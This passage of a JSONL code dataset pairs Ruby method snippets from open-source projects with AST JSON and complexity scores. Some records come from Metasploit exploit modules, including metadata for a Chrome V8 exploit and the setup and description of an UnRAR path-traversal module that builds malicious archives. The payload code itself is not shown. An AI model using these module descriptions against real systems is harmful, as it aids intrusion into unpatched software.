\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"saelo\"]},{\"type\":\"str\",\"children\":[\"timwr\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2018-17463\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.phrack.org/papers/jit_exploitation.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://bugs.chromium.org/p/chromium/issues/detail?id=888923\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]},{\"type\":\"str\",\"children\":[\"osx\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"No sandbox escape (--no-sandbox)\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 (x64) sandbox escape via CVE-2019-1458\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-09-25\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"DLL\"]}]}]}]}","id":"2fe6009d-188b-4c03-a575-f3a693eed8d0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20180617162849_remove_unused_indexes.rb","start_line":4,"raw_source":"def change\n    remove_index :statuses, :conversation_id, name: 'index_statuses_on_conversation_id'\n    remove_index :users, :filtered_languages, name: 'index_users_on_filtered_languages'\n    remove_index :backups, :user_id, name: 'index_backups_on_user_id'\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"sym\",\"children\":[\"conversation_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_statuses_on_conversation_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"filtered_languages\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_users_on_filtered_languages\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"backups\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_backups_on_user_id\"]}]}]}]}]}]}","id":"1f71dac3-3065-4dc2-92c8-9afa3719a2a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/create_or_update_package_service.rb","start_line":103,"raw_source":"def create_new_package\n        ::Packages::Nuget::Package.create!(\n          name: metadata[:package_name],\n          version: metadata[:package_version],\n          project: project,\n          creator: current_user.is_a?(User) ? current_user : nil\n        )\n      end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_new_package\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Nuget\"]},\"Package\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package_version\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"creator\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"9bfd7fe0-db0b-44b7-9074-fac3452cacda"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/redmine/diff/array_string_diff.rb","start_line":186,"raw_source":"def match(_ai, _bi)\n    @diffs.push @curdiffs unless @curdiffs.empty?\n    @curdiffs = []\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ai\"]},{\"type\":\"arg\",\"children\":[\"_bi\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@curdiffs\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diffs\"]},\"push\",{\"type\":\"ivar\",\"children\":[\"@curdiffs\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@curdiffs\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"ba8cbba0-4a5e-496f-b8e1-10b9680dcede"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":1283,"raw_source":"def test_time_zone_select_with_style\n    @firm = Firm.new(\"D\")\n    html = time_zone_select(\"firm\", \"time_zone\", nil, {},\n      { \"style\" => \"color: red\" })\n    assert_dom_equal \"<select id=\\\"firm_time_zone\\\" name=\\\"firm[time_zone]\\\" style=\\\"color: red\\\">\" \\\n                 \"<option value=\\\"A\\\">A</option>\\n\" \\\n                 \"<option value=\\\"B\\\">B</option>\\n\" \\\n                 \"<option value=\\\"C\\\">C</option>\\n\" \\\n                 \"<option value=\\\"D\\\" selected=\\\"selected\\\">D</option>\\n\" \\\n                 \"<option value=\\\"E\\\">E</option>\" \\\n                 \"</select>\",\n                 html\n    assert_dom_equal html, time_zone_select(\"firm\", \"time_zone\", nil, {},\n      { style: \"color: red\" })\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_zone_select_with_style\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"new\",{\"type\":\"str\",\"children\":[\"D\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[null,\"time_zone_select\",{\"type\":\"str\",\"children\":[\"firm\"]},{\"type\":\"str\",\"children\":[\"time_zone\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"style\"]},{\"type\":\"str\",\"children\":[\"color: red\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"firm_time_zone\\\" name=\\\"firm[time_zone]\\\" style=\\\"color: red\\\">\"]},{\"type\":\"str\",\"children\":[\"<option value=\\\"A\\\">A</option>\\n\"]},{\"type\":\"str\",\"children\":[\"<option value=\\\"B\\\">B</option>\\n\"]},{\"type\":\"str\",\"children\":[\"<option value=\\\"C\\\">C</option>\\n\"]},{\"type\":\"str\",\"children\":[\"<option value=\\\"D\\\" selected=\\\"selected\\\">D</option>\\n\"]},{\"type\":\"str\",\"children\":[\"<option value=\\\"E\\\">E</option>\"]},{\"type\":\"str\",\"children\":[\"</select>\"]}]},{\"type\":\"lvar\",\"children\":[\"html\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"send\",\"children\":[null,\"time_zone_select\",{\"type\":\"str\",\"children\":[\"firm\"]},{\"type\":\"str\",\"children\":[\"time_zone\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"str\",\"children\":[\"color: red\"]}]}]}]}]}]}]}","id":"5546d185-543a-4e1f-a114-a3f6178f5ed7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/multiline_memoization.rb","start_line":62,"raw_source":"def bad_rhs?(rhs)\n          return false unless rhs.multiline?\n\n          if style == :keyword\n            rhs.begin_type?\n          else\n            rhs.kwbegin_type?\n          end\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"bad_rhs?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rhs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"multiline?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"keyword\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"begin_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"kwbegin_type?\"]}]}]}]}","id":"0e2ebaff-9f0a-4889-ba6c-bed9161cd4b6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb","start_line":96,"raw_source":"def rsh_path\n    datastore['RSH_PATH']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rsh_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RSH_PATH\"]}]}]}","id":"83a06b2d-02fc-49a2-bdd6-4fa194f59289"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/cart_controller.rb","start_line":113,"raw_source":"def remove_coupon_code\n            spree_authorize! :update, spree_current_order, order_token\n\n            coupon_codes = select_coupon_codes\n\n            return render_error_payload(I18n.t('spree.api.v2.cart.no_coupon_code')) if coupon_codes.empty?\n\n            result_errors = coupon_codes.count > 1 ? select_errors(coupon_codes) : select_error(coupon_codes)\n\n            if result_errors.blank?\n              render_serialized_payload { serialized_current_order }\n            else\n              render_error_payload(result_errors)\n            end\n          end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_coupon_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_authorize!\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_order\"]},{\"type\":\"send\",\"children\":[null,\"order_token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"coupon_codes\",{\"type\":\"send\",\"children\":[null,\"select_coupon_codes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coupon_codes\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_error_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"spree.api.v2.cart.no_coupon_code\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result_errors\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coupon_codes\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"select_errors\",{\"type\":\"lvar\",\"children\":[\"coupon_codes\"]}]},{\"type\":\"send\",\"children\":[null,\"select_error\",{\"type\":\"lvar\",\"children\":[\"coupon_codes\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_errors\"]},\"blank?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_serialized_payload\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"serialized_current_order\"]}]},{\"type\":\"send\",\"children\":[null,\"render_error_payload\",{\"type\":\"lvar\",\"children\":[\"result_errors\"]}]}]}]}]}","id":"c28a2ca7-1774-4ceb-8870-619522027a08"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/session_compatibility.rb","start_line":58,"raw_source":"def check_for_session_readiness(tries=6)\n      session_ready_count = 0\n      session_ready = false\n      until session.sys or session_ready_count > tries\n        session_ready_count += 1\n        back_off_period = (session_ready_count**2)/10.0\n        select(nil,nil,nil,back_off_period)\n      end\n      session_ready = !!session.sys\n      unless session_ready\n        raise \"The stdapi extension has not been loaded yet.\" unless session.tlv_enc_key.nil?\n        raise \"Could not get a hold of the session.\"\n      end\n      return session_ready\n    end","complexity_score":32.75,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_session_readiness\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"tries\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_ready_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"session_ready\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"until\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_ready_count\"]},\">\",{\"type\":\"lvar\",\"children\":[\"tries\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_ready_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"back_off_period\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_ready_count\"]},\"**\",{\"type\":\"int\",\"children\":[2]}]}]},\"/\",{\"type\":\"float\",\"children\":[10.0]}]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"back_off_period\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"session_ready\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"!\"]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_ready\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"tlv_enc_key\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"The stdapi extension has not been loaded yet.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Could not get a hold of the session.\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_ready\"]}]}]}]}","id":"2793be0b-350d-48fb-a901-d4031b164af5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/fileformat/unrar_cve_2022_30333.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'UnRAR Path Traversal (CVE-2022-30333)',\n        'Description' => %q{\n          This module creates a RAR file that exploits CVE-2022-30333, which is a\n          path-traversal vulnerability in unRAR that can extract an arbitrary file\n          to an arbitrary location on a Linux system. UnRAR fixed this\n          vulnerability in version 6.12 (open source version 6.1.7).\n\n          The core issue is that when a symbolic link is unRAR'ed, Windows\n          symbolic links are not properly validated on Linux systems and can\n          therefore write a symbolic link that points anywhere on the filesystem.\n          If a second file in the archive has the same name, it will be written\n          to the symbolic link path.\n        },\n        'Author' => [\n          'Simon Scannell', # Discovery / initial disclosure (via Sonar)\n          'Ron Bowes', # Analysis, PoC, and module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2022-30333'],\n          ['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],\n          ['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],\n          ['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],\n        ],\n        'Platform' => 'linux',\n        'Arch' => [ARCH_X86, ARCH_X64],\n        'Targets' => [\n          [ 'Generic RAR file', {} ]\n        ],\n        'DefaultTarget' => 0,\n        'Privileged' => false,\n        'DisclosureDate' => '2022-06-28',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),\n        OptString.new('CUSTOM_PAYLOAD', [ false, 'A custom payload to encode' ]),\n        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - \"../../\" - as well as a filename).']),\n        OptString.new('SYMLINK_FILENAME', [ true, 'The name of the symlink file to use (must be 12 characters or less; default: random)', Rex::Text.rand_text_alpha_lower(4..12)])\n      ]\n    )\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"UnRAR Path Traversal (CVE-2022-30333)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module creates a RAR file that exploits CVE-2022-30333, which is a\\n\"]},{\"type\":\"str\",\"children\":[\"          path-traversal vulnerability in unRAR that can extract an arbitrary file\\n\"]},{\"type\":\"str\",\"children\":[\"          to an arbitrary location on a Linux system. UnRAR fixed this\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability in version 6.12 (open source version 6.1.7).\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The core issue is that when a symbolic link is unRAR'ed, Windows\\n\"]},{\"type\":\"str\",\"children\":[\"          symbolic links are not properly validated on Linux systems and can\\n\"]},{\"type\":\"str\",\"children\":[\"          therefore write a symbolic link that points anywhere on the filesystem.\\n\"]},{\"type\":\"str\",\"children\":[\"          If a second file in the archive has the same name, it will be written\\n\"]},{\"type\":\"str\",\"children\":[\"          to the symbolic link path.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Simon Scannell\"]},{\"type\":\"str\",\"children\":[\"Ron Bowes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-30333\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Generic RAR file\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-06-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"payload.rar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CUSTOM_PAYLOAD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A custom payload to encode\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGET_PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The location the payload should extract to (can, and should, contain path traversal characters - \\\"../../\\\" - as well as a filename).\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SYMLINK_FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the symlink file to use (must be 12 characters or less; default: random)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[12]}]}]}]}]}]}]}]}]}","id":"74237fcc-200a-4d50-ac61-9da31c20c35e"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexer.rb","start_line":287,"raw_source":"def filenames(*fnames)\n        (@filenames ||= []).concat(fnames)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filenames\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"fnames\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filenames\"]},{\"type\":\"array\",\"children\":[]}]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"fnames\"]}]}]}","id":"e7fb57a6-2459-4cba-a9fb-68155fb27ff8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/seeding.rb","start_line":35,"raw_source":"def seed_report(name)\n      path = seed_files.detect { |f| File.basename(f).include?(name) }\n      raise \"report #{name.inspect} not found\" if path.nil?\n\n      seed_record(path, MiqReport.find_by(:filename => seed_filename(path)))\n    